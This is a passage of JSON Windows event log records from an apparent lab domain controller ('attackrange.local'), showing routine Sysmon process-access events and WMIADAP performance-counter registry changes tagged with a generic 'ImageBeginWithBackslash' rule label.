Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4044,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:41.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:41.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4045,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:41.713\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-40C5-5F2D-0000-001068B80500}\r\nTargetProcessId: 5044\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:41.713","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-40C5-5F2D-0000-001068B80500}","TargetProcessId":"5044","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4046,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:51.121\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\Updating\r\nDetails: WmiApRpl","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.121","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\Updating","Details":"WmiApRpl","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1001,"SourceName":"Microsoft-Windows-LoadPerf","ProviderGuid":"{122EE297-BB47-41AE-B265-1CA8D1886D40}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":12116,"ProcessID":4572,"ThreadID":4608,"Channel":"Application","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Performance counters for the WmiApRpl (WmiApRpl) service were removed successfully. The Record Data contains the new values of the system Last Counter and Last Help registry entries.","Opcode":"Info","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4047,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:51.136\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\Last Counter\r\nDetails: DWORD (0x00006322)","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.136","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\Last Counter","Details":"DWORD (0x00006322)","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4048,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:51.136\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\Last Help\r\nDetails: DWORD (0x00006323)","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.136","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\Last Help","Details":"DWORD (0x00006323)","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":12,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":12,"OpcodeValue":0,"RecordNumber":4049,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry object added or deleted:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: DeleteValue\r\nUtcTime: 2020-08-07 11:53:51.136\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\First Counter","Category":"Registry object added or deleted (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.136","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\First Counter","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":12,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":12,"OpcodeValue":0,"RecordNumber":4050,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry object added or deleted:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: DeleteValue\r\nUtcTime: 2020-08-07 11:53:51.136\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\Last Counter","Category":"Registry object added or deleted (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.136","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\Last Counter","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":12,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":12,"OpcodeValue":0,"RecordNumber":4051,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry object added or deleted:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: DeleteValue\r\nUtcTime: 2020-08-07 11:53:51.136\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\First Help","Category":"Registry object added or deleted (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.136","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\First Help","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":12,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":12,"OpcodeValue":0,"RecordNumber":4052,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry object added or deleted:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: DeleteValue\r\nUtcTime: 2020-08-07 11:53:51.136\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\Last Help","Category":"Registry object added or deleted (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.136","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\Last Help","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":12,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":12,"OpcodeValue":0,"RecordNumber":4053,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry object added or deleted:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: DeleteValue\r\nUtcTime: 2020-08-07 11:53:51.136\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\Object List","Category":"Registry object added or deleted (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.136","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\Object List","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":12,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":12,"OpcodeValue":0,"RecordNumber":4054,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry object added or deleted:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: DeleteValue\r\nUtcTime: 2020-08-07 11:53:51.136\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\Updating","Category":"Registry object added or deleted (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.136","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\Updating","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4055,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:51.136\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\PerfIniFile\r\nDetails: WmiApRpl.ini","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.136","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\PerfIniFile","Details":"WmiApRpl.ini","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4056,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:51.136\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\Updating\r\nDetails: WmiApRpl","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.136","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\Updating","Details":"WmiApRpl","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4057,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:51.214\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\Last Counter\r\nDetails: DWORD (0x000063ca)","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.214","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\Last Counter","Details":"DWORD (0x000063ca)","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4058,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:51.214\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\Last Help\r\nDetails: DWORD (0x000063cb)","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.214","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\Last Help","Details":"DWORD (0x000063cb)","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4059,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:51.214\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\Last Counter\r\nDetails: DWORD (0x000063ca)","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.214","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\Last Counter","Details":"DWORD (0x000063ca)","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4060,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value 